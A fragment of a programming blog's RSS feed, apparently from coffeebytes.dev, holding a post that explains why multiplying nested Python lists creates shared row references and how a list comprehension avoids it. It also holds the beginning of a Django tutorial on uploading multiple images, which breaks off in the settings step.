      <pubDate>Wed, 07 Apr 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/dont-make-this-mistake-using-arrays-in-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The other day I was solving a kata in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.codewars.com/r/qsX8Ww&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;codewars&lt;/a&gt;&#xA;, one of the steps of the problem needed a two-dimensional array, in more mundane words: an array of arrays. In Python it is super simple to create a two-dimensional array using the multiplication operator, as if it were numbers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;arr &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#[0, 0, 0, 0, 0]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you have no idea what I&amp;rsquo;m talking about, I have an excellent resource that can help you a lot: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/&#34;&gt;&amp;ldquo;Inmersion en Python&amp;rdquo;, totally free and in Spanish&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-wrong-way-to-create-arrays-in-python&#34;&gt;The wrong way to create arrays in Python&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Knowing how to create arrays using the multiplication operator, we could think of creating a two-dimensional array as follows:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;matrix &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#78787e&#34;&gt;#&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So far so good, we already have our matrix. But, what if we want to change the second element of the first element of our matrix (I have marked it with a hashtag above).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;matrix[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#[[0, 3, 0, 0], [0, 3, 0, 0], [0, 3, 0, 0], [0, 3, 0, 0]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What happened? We modified a single element and all of them have been modified. And not only that, but the modified elements always correspond to the second element. Why is it that when we change one element of an array in Python they are all changed?&lt;/p&gt;&#xA;&lt;h3 id=&#34;why-are-all-the-elements-of-my-array-changed-in-python&#34;&gt;Why are all the elements of my array changed in Python?&lt;/h3&gt;&#xA;&lt;p&gt;This happens because when Python creates the array, &lt;strong&gt;it is not creating 4 different arrays&lt;/strong&gt;, but it creates only one and copies 4 times the reference to this memory space, so, any change we make is modifying the only array that exists and, &lt;strong&gt;as the 4 references point to that array, we see the change reflected in all&lt;/strong&gt; the arrays.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;how-to-prevent-this-error&#34;&gt;How to prevent this error?&lt;/h2&gt;&#xA;&lt;p&gt;To prevent this error when creating a two-dimensional matrix.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;new_matrix &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; _ &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;new_matrix[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# [[0, 3, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the above code, a new array is created for each element in our list comprehension, ensuring that there are 4 individual arrays and that each change occurs only once in our two-dimensional array.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Now you know that, if in a two-dimensional matrix you are changing all the elements when you modify a single one, you must change the way you generated your matrix.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The other day I was solving a kata in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.codewars.com/r/qsX8Ww&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;codewars&lt;/a&gt;&#xA;, one of the steps of the problem needed a two-dimensional array, in more mundane words: an array of arrays. In Python it is super simple to create a two-dimensional array using the multiplication operator, as if it were numbers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;arr &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#[0, 0, 0, 0, 0]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you have no idea what I&amp;rsquo;m talking about, I have an excellent resource that can help you a lot: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/&#34;&gt;&amp;ldquo;Inmersion en Python&amp;rdquo;, totally free and in Spanish&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to upload multiple images in Django</title>
      <link>https://coffeebytes.dev/en/django/how-to-upload-multiple-images-in-django/</link>
      <pubDate>Tue, 30 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/how-to-upload-multiple-images-in-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;You probably already know how to upload an image using a Django model, but what if we don&amp;rsquo;t want to upload one but multiple images in Django Framework?&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-installation&#34;&gt;Django installation&lt;/h2&gt;&#xA;&lt;p&gt;First we install Django using pipenv. We will also install Pillow since we will be dealing with images.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django Pillow&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Next we will create a new project and enter the newly created folder.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know GNU/Linux commands I have a series of entries &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;with the most used GNU Linux commands&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startproject yourproject&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; yourproject/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, let&amp;rsquo;s create an application, and name it gallery.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startapp gallery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember to install the new application we created in the &lt;em&gt;settings.py&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;gallery&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;creation-of-a-model&#34;&gt;Creation of a model&lt;/h2&gt;&#xA;&lt;p&gt;Inside our application named &lt;em&gt;gallery&lt;/em&gt;, we are going to create a model with an Image field.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;gallery&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ImageField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s run the migrations so that the changes in our application are reflected in the database.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;adding-templates&#34;&gt;Adding templates&lt;/h2&gt;&#xA;&lt;p&gt;Next, let&amp;rsquo;s create a folder called &lt;em&gt;templates&lt;/em&gt; to host our template with the form.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir templates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; templates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch index.html&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s add the &lt;em&gt;templates&lt;/em&gt; location to the TEMPLATES configuration of our configuration file; &lt;em&gt;settings.py&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TEMPLATES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 